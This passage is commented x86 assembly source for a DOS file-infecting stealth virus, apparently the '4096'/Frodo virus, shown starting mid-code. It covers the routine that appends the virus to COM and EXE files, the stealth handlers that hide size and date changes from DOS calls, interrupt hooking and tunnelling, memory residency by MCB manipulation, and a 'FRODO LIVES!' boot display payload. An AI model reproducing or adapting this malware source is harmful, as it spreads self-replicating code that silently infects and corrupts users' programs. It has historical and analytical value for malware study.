mov cx,10h ; normalize filesize
|
||
div cx ; to paragraphs
|
||
mov si,ax ; si = result
|
||
retn
|
||
|
||
|
||
finish_infection:
|
||
mov ax,4200h ; Go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov ah,40h ; Write new header to file
|
||
mov cl,1Ch
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
mov ax,10h ; convert paragraph boundary
|
||
mul si ; to a byte value
|
||
mov cx,dx
|
||
mov dx,ax
|
||
mov ax,4200h ; go to first paragraph
|
||
call callint21 ; boundary at end of file
|
||
xor dx,dx
|
||
mov cx,1000h
|
||
add cx,di
|
||
mov ah,40h ; Concatenate virus to file
|
||
call callint21
|
||
mov ax,5701h ; Restore file time/date
|
||
mov cx,ds:filetime
|
||
mov dx,ds:filedate
|
||
test dh,80h ; check for infection bit
|
||
jnz highbitset
|
||
add dh,0C8h ; alter if not set yet
|
||
highbitset:
|
||
call callint21
|
||
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
|
||
jb exit_finish_infection ; do not hide the alteration
|
||
; in cluster count
|
||
cmp byte ptr ds:hideclustercountchange,0
|
||
je exit_finish_infection
|
||
push bx
|
||
mov dl,ds:filedrive
|
||
mov ah,32h ; Get drive parameter block
|
||
call callint21 ; for drive dl
|
||
mov ax,cs:numfreeclusters
|
||
mov [bx+1Eh],ax ; alter free cluster count
|
||
pop bx
|
||
exit_finish_infection:
|
||
retn
|
||
|
||
|
||
checkFCBokinfect:
|
||
call saveregs
|
||
mov di,dx
|
||
add di,0Dh ; skip to extension
|
||
push ds
|
||
pop es
|
||
jmp short performchecksum ; and check checksum for valid
|
||
; checksum
|
||
|
||
checkdsdxokinfect:
|
||
call saveregs
|
||
push ds
|
||
pop es
|
||
mov di,dx
|
||
mov cx,50h ; max filespec length
|
||
xor ax,ax
|
||
mov bl,0 ; default drive
|
||
cmp byte ptr [di+1],':' ; Is there a drive spec?
|
||
jne ondefaultdrive ; nope, skip it
|
||
mov bl,[di] ; yup, get drive
|
||
and bl,1Fh ; and convert to number
|
||
ondefaultdrive:
|
||
mov cs:filedrive,bl
|
||
repne scasb ; find terminating 0 byte
|
||
performchecksum:
|
||
mov ax,[di-3]
|
||
and ax,0DFDFh ; convert to uppercase
|
||
add ah,al
|
||
mov al,[di-4]
|
||
and al,0DFh ; convert to uppercase
|
||
add al,ah
|
||
mov byte ptr cs:EXEflag,0 ; assume COM file
|
||
cmp al,0DFh ; COM checksum?
|
||
je COMchecksum
|
||
inc byte ptr cs:EXEflag ; assume EXE file
|
||
cmp al,0E2h ; EXE checksum?
|
||
jne otherchecksum
|
||
COMchecksum:
|
||
call restoreregs
|
||
clc ; mark no error
|
||
retn
|
||
otherchecksum:
|
||
call restoreregs
|
||
stc ; mark error
|
||
retn
|
||
|
||
|
||
getcurrentPSP:
|
||
push bx
|
||
mov ah,51h ; Get current PSP segment
|
||
call callint21
|
||
mov cs:currentPSP,bx ; store it
|
||
pop bx
|
||
retn
|
||
|
||
|
||
setup_infection:
|
||
call replaceint13and24
|
||
push dx
|
||
mov dl,cs:filedrive
|
||
mov ah,36h ; Get disk free space
|
||
call callint21
|
||
mul cx ; ax = bytes per cluster
|
||
mul bx ; dx:ax = bytes free space
|
||
mov bx,dx
|
||
pop dx
|
||
or bx,bx ; less than 65536 bytes free?
|
||
jnz enough_free_space ; hopefully not
|
||
cmp ax,4000h ; exit if less than 16384
|
||
jb exit_setup_infection ; bytes free
|
||
enough_free_space:
|
||
mov ax,4300h ; Get file attributes
|
||
call callint21
|
||
jc exit_setup_infection ; exit on error
|
||
mov di,cx ; di = attributes
|
||
xor cx,cx
|
||
mov ax,4301h ; Clear file attributes
|
||
call callint21
|
||
cmp byte ptr cs:errorflag,0 ; check for errors
|
||
jne exit_setup_infection
|
||
mov ax,3D02h ; Open file read/write
|
||
call callint21
|
||
jc exit_setup_infection ; exit on error
|
||
mov bx,ax ; move handle to bx
|
||
; xchg bx,ax is superior
|
||
mov cx,di
|
||
mov ax,4301h ; Restore file attributes
|
||
call callint21
|
||
push bx
|
||
mov dl,cs:filedrive ; Get file's drive number
|
||
mov ah,32h ; Get drive parameter block
|
||
call callint21 ; for disk dl
|
||
mov ax,[bx+1Eh] ; Get free cluster count
|
||
mov cs:numfreeclusters,ax ; and save it
|
||
pop bx ; return handle
|
||
call restoreint13and24
|
||
retn
|
||
exit_setup_infection:
|
||
xor bx,bx
|
||
dec bx ; return bx=-1 on error
|
||
call restoreint13and24
|
||
retn
|
||
|
||
|
||
checkforinfection:
|
||
push cx
|
||
push dx
|
||
push ax
|
||
mov ax,4400h ; Get device information
|
||
call callint21 ; (set hide_size = 2)
|
||
xor dl,80h
|
||
test dl,80h ; Character device? If so,
|
||
jz exit_checkforinfection ; exit; cannot be infected
|
||
mov ax,5700h ; Otherwise get time/date
|
||
call callint21
|
||
test dh,80h ; Check year bit for infection
|
||
exit_checkforinfection:
|
||
pop ax
|
||
pop dx
|
||
pop cx
|
||
retn
|
||
|
||
obtainfilesize:
|
||
call saveregs
|
||
mov ax,4201h ; Get current file position
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21
|
||
mov cs:curfileposlow,ax
|
||
mov cs:curfileposhigh,dx
|
||
mov ax,4202h ; Go to end of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
call callint21
|
||
mov cs:filesizelow,ax
|
||
mov cs:filesizehigh,dx
|
||
mov ax,4200h ; Return to file position
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
call callint21
|
||
call restoreregs
|
||
retn
|
||
|
||
getsetfiletimedate:
|
||
or al,al ; Get time/date?
|
||
jnz checkifsettimedate ; if not, see if Set time/date
|
||
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
||
call _popall
|
||
call callint21
|
||
jc gettimedate_error ; exit on error
|
||
test dh,80h ; check year bit if infected
|
||
jz gettimedate_notinfected
|
||
sub dh,0C8h ; if so, hide change
|
||
gettimedate_notinfected:
|
||
jmp exitint21
|
||
gettimedate_error:
|
||
or word ptr cs:int21flags,1; turn on trap flag
|
||
jmp exitint21
|
||
checkifsettimedate:
|
||
cmp al,1 ; Set time/date?
|
||
jne exit_filetimedate_pointer
|
||
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
|
||
test dh,80h ; Infection bit set?
|
||
jz set_yearbitset
|
||
sub dh,0C8h ; clear infection bit
|
||
set_yearbitset:
|
||
call checkforinfection
|
||
jz set_datetime_nofinagle
|
||
add dh,0C8h ; set infection flag
|
||
set_datetime_nofinagle:
|
||
call callint21
|
||
mov [bp-4],ax
|
||
adc word ptr cs:int21flags,0; turn on/off trap flag
|
||
jmp _popall_then_exitint21 ; depending on result
|
||
|
||
handlemovefilepointer:
|
||
cmp al,2
|
||
jne exit_filetimedate_pointer
|
||
call checkforinfection
|
||
jz exit_filetimedate_pointer
|
||
sub word ptr [bp-0Ah],1000h ; hide file size
|
||
sbb word ptr [bp-8],0
|
||
exit_filetimedate_pointer:
|
||
jmp exitotherint21
|
||
|
||
handleread:
|
||
and byte ptr cs:int21flags,0FEh ; clear trap flag
|
||
call checkforinfection ; exit if it is not
|
||
jz exit_filetimedate_pointer ; infected -- no need
|
||
; to do stealthy stuff
|
||
mov cs:savelength,cx
|
||
mov cs:savebuffer,dx
|
||
mov word ptr cs:return_code,0
|
||
call obtainfilesize
|
||
mov ax,cs:filesizelow ; store the file size
|
||
mov dx,cs:filesizehigh
|
||
sub ax,1000h ; get uninfected file size
|
||
sbb dx,0
|
||
sub ax,cs:curfileposlow ; check if currently in
|
||
sbb dx,cs:curfileposhigh ; virus code
|
||
jns not_in_virus_body ; continue if not
|
||
mov word ptr [bp-4],0 ; set return code = 0
|
||
jmp handleopenclose_exit
|
||
not_in_virus_body:
|
||
jnz not_reading_header
|
||
cmp ax,cx ; reading from header?
|
||
ja not_reading_header
|
||
mov cs:savelength,ax ; # bytes into header
|
||
not_reading_header:
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
or cx,cx ; if reading > 64K into file,
|
||
jnz finish_reading ; then no problems
|
||
cmp dx,1Ch ; if reading from header, then
|
||
jbe reading_from_header ; do stealthy stuff
|
||
finish_reading:
|
||
mov dx,cs:savebuffer
|
||
mov cx,cs:savelength
|
||
mov ah,3Fh ; read file
|
||
call callint21
|
||
add ax,cs:return_code ; ax = bytes read
|
||
mov [bp-4],ax ; set return code properly
|
||
jmp _popall_then_exitint21
|
||
reading_from_header:
|
||
mov si,dx
|
||
mov di,dx
|
||
add di,cs:savelength
|
||
cmp di,1Ch ; reading all of header?
|
||
jb read_part_of_header ; nope, calculate how much
|
||
xor di,di
|
||
jmp short do_read_from_header
|
||
read_part_of_header:
|
||
sub di,1Ch
|
||
neg di
|
||
do_read_from_header:
|
||
mov ax,dx
|
||
mov cx,cs:filesizehigh ; calculate location in
|
||
mov dx,cs:filesizelow ; the file of the virus
|
||
add dx,0Fh ; storage area for the
|
||
adc cx,0 ; original 1Ch bytes of
|
||
and dx,0FFF0h ; the file
|
||
sub dx,0FFCh
|
||
sbb cx,0
|
||
add dx,ax
|
||
adc cx,0
|
||
mov ax,4200h ; go to that location
|
||
call callint21
|
||
mov cx,1Ch
|
||
sub cx,di
|
||
sub cx,si
|
||
mov ah,3Fh ; read the original header
|
||
mov dx,cs:savebuffer
|
||
call callint21
|
||
add cs:savebuffer,ax
|
||
sub cs:savelength,ax
|
||
add cs:return_code,ax
|
||
xor cx,cx ; go past the virus's header
|
||
mov dx,1Ch
|
||
mov ax,4200h
|
||
call callint21
|
||
jmp finish_reading ; and continue the reading
|
||
|
||
handlewrite:
|
||
and byte ptr cs:int21flags,0FEh ; turn off trap flag
|
||
call checkforinfection
|
||
jnz continue_handlewrite
|
||
jmp exit_filetimedate_pointer
|
||
continue_handlewrite:
|
||
mov cs:savelength,cx
|
||
mov cs:savebuffer,dx
|
||
mov word ptr cs:return_code,0
|
||
call obtainfilesize
|
||
mov ax,cs:filesizelow
|
||
mov dx,cs:filesizehigh
|
||
sub ax,1000h ; calculate original file
|
||
sbb dx,0 ; size
|
||
sub ax,cs:curfileposlow ; writing from inside the
|
||
sbb dx,cs:curfileposhigh ; virus?
|
||
js finish_write ; if not, we can continue
|
||
jmp short write_inside_virus; otherwise, fixup some stuff
|
||
finish_write:
|
||
call replaceint13and24
|
||
push cs
|
||
pop ds
|
||
mov dx,ds:filesizelow ; calculate location in file
|
||
mov cx,ds:filesizehigh ; of the virus storage of the
|
||
add dx,0Fh ; original 1Ch bytes of the
|
||
adc cx,0 ; file
|
||
and dx,0FFF0h
|
||
sub dx,0FFCh
|
||
sbb cx,0
|
||
mov ax,4200h
|
||
call callint21
|
||
mov dx,offset oldheader
|
||
mov cx,1Ch
|
||
mov ah,3Fh ; read original header
|
||
call callint21
|
||
mov ax,4200h ; go to beginning of file
|
||
xor cx,cx
|
||
mov dx,cx
|
||
call callint21
|
||
mov dx,offset oldheader
|
||
mov cx,1Ch
|
||
mov ah,40h ; write original header to
|
||
call callint21 ; the file
|
||
mov dx,0F000h ; go back 4096 bytes
|
||
mov cx,0FFFFh ; from the end of the
|
||
mov ax,4202h ; file and
|
||
call callint21
|
||
mov ah,40h ; truncate the file
|
||
xor cx,cx ; at that position
|
||
call callint21
|
||
mov dx,ds:curfileposlow ; Go to current file position
|
||
mov cx,ds:curfileposhigh
|
||
mov ax,4200h
|
||
call callint21
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
test dh,80h
|
||
jz high_bit_aint_set
|
||
sub dh,0C8h ; restore file date
|
||
mov ax,5701h ; put it onto the disk
|
||
call callint21
|
||
high_bit_aint_set:
|
||
call restoreint13and24
|
||
jmp exitotherint21
|
||
write_inside_virus:
|
||
jnz write_inside_header ; write from start of file?
|
||
cmp ax,cx
|
||
ja write_inside_header ; write from inside header?
|
||
jmp finish_write
|
||
|
||
write_inside_header:
|
||
mov dx,cs:curfileposlow
|
||
mov cx,cs:curfileposhigh
|
||
or cx,cx ; Reading over 64K?
|
||
jnz writemorethan1Chbytes
|
||
cmp dx,1Ch ; Reading over 1Ch bytes?
|
||
ja writemorethan1Chbytes
|
||
jmp finish_write
|
||
writemorethan1Chbytes:
|
||
call _popall
|
||
call callint21 ; chain to int 21h
|
||
; (allow write to take place)
|
||
call _pushall
|
||
mov ax,5700h ; Get file time/date
|
||
call callint21
|
||
test dh,80h
|
||
jnz _popall_then_exitint21_
|
||
add dh,0C8h
|
||
mov ax,5701h ; restore file date
|
||
call callint21
|
||
_popall_then_exitint21_:
|
||
jmp _popall_then_exitint21
|
||
|
||
jmp exitotherint21
|
||
|
||
int13:
|
||
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
|
||
pop word ptr cs:int13tempCSIP+2 ; the stack
|
||
pop word ptr cs:int13flags
|
||
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
|
||
cmp byte ptr cs:errorflag,0 ; any errors yet?
|
||
jne exitint13error ; yes, already an error
|
||
push word ptr cs:int13flags
|
||
call dword ptr cs:origints
|
||
jnc exitint13
|
||
inc byte ptr cs:errorflag ; mark error
|
||
exitint13error:
|
||
stc ; mark error
|
||
exitint13:
|
||
jmp dword ptr cs:int13tempCSIP ; return to caller
|
||
|
||
int24:
|
||
xor al,al ; ignore error
|
||
mov byte ptr cs:errorflag,1 ; mark error
|
||
iret
|
||
|
||
replaceint13and24:
|
||
mov byte ptr cs:errorflag,0 ; clear errors
|
||
call saveregs
|
||
push cs
|
||
pop ds
|
||
mov al,13h ; save int 13 handler
|
||
call getint
|
||
mov word ptr ds:origints,bx
|
||
mov word ptr ds:origints+2,es
|
||
mov word ptr ds:oldint13,bx
|
||
mov word ptr ds:oldint13+2,es
|
||
mov dl,0
|
||
mov al,0Dh ; fixed disk interrupt
|
||
call getint
|
||
mov ax,es
|
||
cmp ax,0C000h ; is there a hard disk?
|
||
jae harddiskpresent ; C000+ is in BIOS
|
||
mov dl,2
|
||
harddiskpresent:
|
||
mov al,0Eh ; floppy disk interrupt
|
||
call getint
|
||
mov ax,es
|
||
cmp ax,0C000h ; check if floppy
|
||
jae floppypresent
|
||
mov dl,2
|
||
floppypresent:
|
||
mov ds:tracemode,dl
|
||
call replaceint1
|
||
mov ds:savess,ss ; save stack
|
||
mov ds:savesp,sp
|
||
push cs ; save these on stack for
|
||
mov ax,offset setvirusints ; return to setvirusints
|
||
push ax
|
||
mov ax,70h
|
||
mov es,ax
|
||
mov cx,0FFFFh
|
||
mov al,0CBh ; retf
|
||
xor di,di
|
||
repne scasb ;scan es:di for retf statement
|
||
dec di ; es:di->retf statement
|
||
pushf
|
||
push es ; set up stack for iret to
|
||
push di ; the retf statement which
|
||
; will cause transfer of
|
||
; control to setvirusints
|
||
pushf
|
||
pop ax
|
||
or ah,1 ; turn on the trap flag
|
||
push ax
|
||
in al,21h ; save IMR in temporary
|
||
mov ds:saveIMR,al ; buffer and then
|
||
mov al,0FFh ; disable all the
|
||
out 21h,al ; interrupts
|
||
popf
|
||
xor ax,ax ; reset disk
|
||
jmp dword ptr ds:origints ; (int 13h call)
|
||
; then transfer control to
|
||
setvirusints: ; setvirusints
|
||
lds dx,dword ptr ds:oldint1
|
||
mov al,1 ; restore old int 1 handler
|
||
call setvect
|
||
push cs
|
||
pop ds
|
||
mov dx,offset int13 ; replace old int 13h handler
|
||
mov al,13h ; with virus's
|
||
call setvect
|
||
mov al,24h ; Get old critical error
|
||
call getint ; handler and save its
|
||
mov word ptr ds:oldint24,bx ; location
|
||
mov word ptr ds:oldint24+2,es
|
||
mov dx,offset int24
|
||
mov al,24h ; Replace int 24 handler
|
||
call setvect ; with virus's handler
|
||
call restoreregs
|
||
retn
|
||
|
||
|
||
restoreint13and24:
|
||
call saveregs
|
||
lds dx,dword ptr cs:oldint13
|
||
mov al,13h
|
||
call setvect
|
||
lds dx,dword ptr cs:oldint24
|
||
mov al,24h
|
||
call setvect
|
||
call restoreregs
|
||
retn
|
||
|
||
|
||
disableBREAK:
|
||
mov ax,3300h ; Get current BREAK setting
|
||
call callint21
|
||
mov cs:BREAKsave,dl
|
||
mov ax,3301h ; Turn BREAK off
|
||
xor dl,dl
|
||
call callint21
|
||
retn
|
||
|
||
|
||
restoreBREAK:
|
||
mov dl,cs:BREAKsave
|
||
mov ax,3301h ; restore BREAK setting
|
||
call callint21
|
||
retn
|
||
|
||
|
||
_pushall:
|
||
pop word ptr cs:pushpopalltempstore
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
jmp word ptr cs:pushpopalltempstore
|
||
|
||
swapvirint21:
|
||
les di,dword ptr cs:oldint21; delve into original int
|
||
mov si,offset jmpfarptr ; handler and swap the first
|
||
push cs ; 5 bytes. This toggles it
|
||
pop ds ; between a jmp to the virus
|
||
cld ; code and the original 5
|
||
mov cx,5 ; bytes of the int handler
|
||
swapvirint21loop: ; this is a tunnelling method
|
||
lodsb ; if I ever saw one
|
||
xchg al,es:[di] ; puts the bytes in DOS's
|
||
mov [si-1],al ; int 21h handler
|
||
inc di
|
||
loop swapvirint21loop
|
||
|
||
retn
|
||
|
||
|
||
_popall:
|
||
pop word ptr cs:pushpopalltempstore
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp word ptr cs:pushpopalltempstore
|
||
|
||
restoreregs:
|
||
mov word ptr cs:storecall,offset _popall
|
||
jmp short do_saverestoreregs
|
||
|
||
saveregs:
|
||
mov word ptr cs:storecall,offset _pushall
|
||
do_saverestoreregs:
|
||
mov cs:storess,ss ; save stack
|
||
mov cs:storesp,sp
|
||
push cs
|
||
pop ss
|
||
mov sp,cs:stackptr ; set new stack
|
||
call word ptr cs:storecall
|
||
mov cs:stackptr,sp ; update internal stack ptr
|
||
mov ss,cs:storess ; and restore stack to
|
||
mov sp,cs:storesp ; caller program's stack
|
||
retn
|
||
|
||
|
||
replaceint1:
|
||
mov al,1 ; get the old interrupt
|
||
call getint ; 1 handler and save it
|
||
mov word ptr cs:oldint1,bx ; for later restoration
|
||
mov word ptr cs:oldint1+2,es
|
||
push cs
|
||
pop ds
|
||
mov dx,offset int1 ; set int 1 handler to
|
||
call setvect ; the virus int handler
|
||
retn
|
||
|
||
allocatememory:
|
||
call allocate_memory
|
||
jmp exitotherint21
|
||
|
||
allocate_memory:
|
||
cmp byte ptr cs:checkres,0 ; installed check
|
||
je exitallocate_memory ; exit if installed
|
||
cmp bx,0FFFFh ; finding total memory?
|
||
jne exitallocate_memory ; (virus trying to install?)
|
||
mov bx,160h ; allocate memory to virus
|
||
call callint21
|
||
jc exitallocate_memory ; exit on error
|
||
mov dx,cs
|
||
cmp ax,dx
|
||
jb continue_allocate_memory
|
||
mov es,ax
|
||
mov ah,49h ; Free memory
|
||
call callint21
|
||
jmp short exitallocate_memory
|
||
continue_allocate_memory:
|
||
dec dx ; get segment of MCB
|
||
mov ds,dx
|
||
mov word ptr ds:[1],0 ; mark unused MCB
|
||
inc dx ; go to memory area
|
||
mov ds,dx
|
||
mov es,ax
|
||
push ax
|
||
mov word ptr cs:int21store+2,ax ; fixup segment
|
||
xor si,si
|
||
mov di,si
|
||
mov cx,0B00h
|
||
rep movsw ; copy virus up there
|
||
dec ax ; go to MCB
|
||
mov es,ax
|
||
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
|
||
mov es:[1],ax ; make vir ID = DOS PSP ID
|
||
mov ax,offset exitallocate_memory
|
||
push ax
|
||
retf
|
||
|
||
exitallocate_memory:
|
||
retn
|
||
|
||
get_device_info:
|
||
mov byte ptr cs:hide_size,2
|
||
jmp exitotherint21
|
||
|
||
callint21: ; call original int 21h handler (tunnelled)
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
retn
|
||
|
||
bootblock:
|
||
cli
|
||
xor ax,ax ; set new stack just below
|
||
mov ss,ax ; start of load area for
|
||
mov sp,7C00h ; boot block
|
||
jmp short enter_bootblock
|
||
borderchars db '<27><><EFBFBD> '
|
||
|
||
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
|
||
db 11111001b,11100000b,11100011b,11000011b,10000000b
|
||
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
||
db 11110001b,11110001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00100001b,00010010b,00100100b,01000000b
|
||
db 10000001b,00010000b,11100011b,11000011b,10000000b
|
||
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
||
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
||
db 10000010b,01000100b,11111000b,01110000b,11000000b
|
||
db 10000010b,01000100b,10000000b,10001000b,11000000b
|
||
db 10000010b,01000100b,10000000b,10000000b,11000000b
|
||
db 10000010b,01000100b,11110000b,01110000b,11000000b
|
||
db 10000010b,00101000b,10000000b,00001000b,11000000b
|
||
db 10000010b,00101000b,10000000b,10001000b,00000000b
|
||
db 11110010b,00010000b,11111000b,01110000b,11000000b
|
||
enter_bootblock:
|
||
push cs
|
||
pop ds
|
||
mov dx,0B000h ; get video page in bh
|
||
mov ah,0Fh ; get video mode in al
|
||
int 10h ; get columns in ah
|
||
|
||
cmp al,7 ; check if colour
|
||
je monochrome
|
||
mov dx,0B800h ; colour segment
|
||
monochrome:
|
||
mov es,dx ; es->video segment
|
||
cld
|
||
xor di,di
|
||
mov cx,25*80 ; entire screen
|
||
mov ax,720h ; ' ', normal attribute
|
||
rep stosw ; clear the screen
|
||
mov si,7C00h+FRODO_LIVES-bootblock
|
||
mov bx,2AEh
|
||
morelinestodisplay:
|
||
mov bp,5
|
||
mov di,bx
|
||
displaymorebackgroundontheline:
|
||
lodsb ; get background pattern
|
||
mov dh,al
|
||
mov cx,8
|
||
|
||
displayinitialbackground:
|
||
mov ax,720h
|
||
shl dx,1
|
||
jnc spacechar
|
||
mov al,'<27>'
|
||
spacechar:
|
||
stosw
|
||
loop displayinitialbackground
|
||
|
||
dec bp
|
||
jnz displaymorebackgroundontheline
|
||
add bx,80*2 ; go to next line
|
||
cmp si,7C00h+enter_bootblock-bootblock
|
||
jb morelinestodisplay
|
||
mov ah,1 ; set cursor mode to cx
|
||
int 10h
|
||
|
||
mov al,8 ; set new int 8 handler
|
||
mov dx,7C00h+int8-bootblock ; to spin border
|
||
call setvect
|
||
mov ax,7FEh ; enable timer interrupts only
|
||
out 21h,al
|
||
|
||
sti
|
||
xor bx,bx
|
||
mov cx,1
|
||
jmp short $ ; loop forever while
|
||
; spinning the border
|
||
|
||
int8: ; the timer interrupt spins
|
||
dec cx ; the border
|
||
jnz endint8
|
||
xor di,di
|
||
inc bx
|
||
call spin_border
|
||
call spin_border
|
||
mov cl,4 ; wait 4 more ticks until
|
||
endint8: ; next update
|
||
mov al,20h ; Signal end of interrupt
|
||
out 20h,al
|
||
iret
|
||
|
||
spin_border:
|
||
mov cx,28h ; do 40 characters across
|
||
|
||
dohorizontal:
|
||
call lookup_border_char
|
||
stosw
|
||
stosw
|
||
loop dohorizontal
|
||
patch2:
|
||
add di,9Eh ; go to next line
|
||
mov cx,17h ; do for next 23 lines
|
||
|
||
dovertical: ; handle vertical borders
|
||
call lookup_border_char ; get border character
|
||
stosw ; print it on screen
|
||
patch3:
|
||
add di,9Eh ; go to next line
|
||
loop dovertical
|
||
patch1:
|
||
std
|
||
; this code handles the other half of the border
|
||
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
|
||
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
|
||
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
|
||
retn
|
||
|
||
|
||
lookup_border_char:
|
||
and bx,3 ; find corresponding border
|
||
mov al,ds:[bx+7C00h+borderchars-bootblock]
|
||
inc bx ; character
|
||
retn
|
||
|
||
|
||
setvect:
|
||
push es
|
||
push bx
|
||
xor bx,bx
|
||
mov es,bx
|
||
mov bl,al ; int # to bx
|
||
shl bx,1 ; int # * 4 = offset in
|
||
shl bx,1 ; interrupt table
|
||
mov es:[bx],dx ; set the vector in the
|
||
mov es:[bx+2],ds ; interrupt table
|
||
pop bx
|
||
pop es
|
||
retn
|
||
|
||
|
||
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
|
||
call replaceint13and24
|
||
mov dl,80h
|
||
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
|
||
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
|
||
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
|
||
db 03h, 6Ch, 15h, 03h, 00h, 26h
|
||
db 00h, 00h, 00h, 21h, 00h, 50h
|
||
db 12h, 65h, 14h, 82h, 08h, 00h
|
||
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
|
||
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
|
||
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
|
||
db 00h,0E2h, 0Ch, 50h
|
||
|
||
org 1200h
|
||
readbuffer dw ? ; beginning of the read buffer
|
||
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
|
||
lengthinpages dw ? ; EXE header item - length of image in pages
|
||
relocationitems dw ? ; EXE header item - # relocation items
|
||
headersize dw ? ; EXE header item - header size in paragraphs
|
||
minmemory dw ? ; EXE header item - minimum memory allocation
|
||
maxmemory dw ? ; EXE header item - maximum memory allocation
|
||
initialSS dw ? ; EXE header item - initial SS value
|
||
initialSP dw ? ; EXE header item - initial SP value
|
||
wordchecksum dw ? ; EXE header item - checksum value
|
||
initialIP dw ? ; EXE header item - initial IP value
|
||
initialCS dw ? ; EXE header item - initial CS value
|
||
db 12 dup (?) ; rest of header - unused
|
||
parmblock dd ? ; address of parameter block
|
||
filedrive db ? ; 0 = default drive
|
||
filetime dw ? ; saved file time
|
||
filedate dw ? ; saved file date
|
||
origints dd ? ; temporary scratch buffer for interrupt vectors
|
||
oldint1 dd ? ; original interrupt 1 vector
|
||
oldint21 dd ? ; original interrupt 21h vector
|
||
oldint13 dd ? ; original interrupt 13h vector
|
||
oldint24 dd ? ; original interrupt 24h vector
|
||
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
|
||
carrierPSP dw ? ; carrier file PSP segment
|
||
DOSsegment dw ? ; segment of DOS list of lists
|
||
ownerfirstMCB dw ? ; owner of the first MCB
|
||
jmpfarptr db ? ; 0eah, jmp far ptr
|
||
int21store dd ? ; temporary storage for other 4 bytes
|
||
; and for pointer to virus int 21h
|
||
tracemode db ? ; trace mode
|
||
instructionstotrace db ? ; number of instructions to trace
|
||
handletable dw 28h dup (?) ; array of handles
|
||
handlesleft db ? ; entries left in table
|
||
currentPSP dw ? ; storage for the current PSP segment
|
||
curfileposlow dw ? ; current file pointer location, low word
|
||
curfileposhigh dw ? ; current file pointer location, high word
|
||
filesizelow dw ? ; current file size, low word
|
||
filesizehigh dw ? ; current file size, high word
|
||
savebuffer dw ? ; storage for handle read, etc.
|
||
savelength dw ? ; functions
|
||
return_code dw ? ; returned in AX on exit of int 21h
|
||
int21flags dw ? ; storage of int 21h return flags register
|
||
tempFCB db 25h dup (?) ; copy of the FCB
|
||
errorflag db ? ; 0 if no error, 1 if error
|
||
int13flags dw ? ; storage of int 13h return flags register
|
||
savess dw ? ; temporary storage of stack segment
|
||
savesp dw ? ; and stack pointer
|
||
BREAKsave db ? ; current BREAK state
|
||
checkres db ? ; already installed flag
|
||
initialax dw ? ; AX upon entry to carrier
|
||
saveIMR db ? ; storage for interrupt mask register
|
||
saveoffset dw ? ; temp storage of CS:IP of
|
||
savesegment dw ? ; caller to int 21h
|
||
pushpopalltempstore dw ? ; push/popall caller address
|
||
numfreeclusters dw ? ; total free clusters
|
||
DOSversion db ? ; current DOS version
|
||
hideclustercountchange db ? ; flag of whether to hide free cluster count
|
||
hide_size db ? ; hide filesize increase if equal to 0
|
||
copyparmblock db 0eh dup (?) ; copy of the parameter block
|
||
origsp dw ? ; temporary storage of stack pointer
|
||
origss dw ? ; and stack segment
|
||
origcsip dd ? ; temporary storage of caller CS:IP
|
||
copyfilename db 50h dup (?) ; copy of filename
|
||
storesp dw ? ; temporary storage of stack pointer
|
||
storess dw ? ; and stack segment
|
||
stackptr dw ? ; register storage stack pointer
|
||
storecall dw ? ; temporary storage of function offset
|
||
|
||
topstack = 1600h
|
||
|
||
_4096 ends
|
||
end
|
||
|
||
|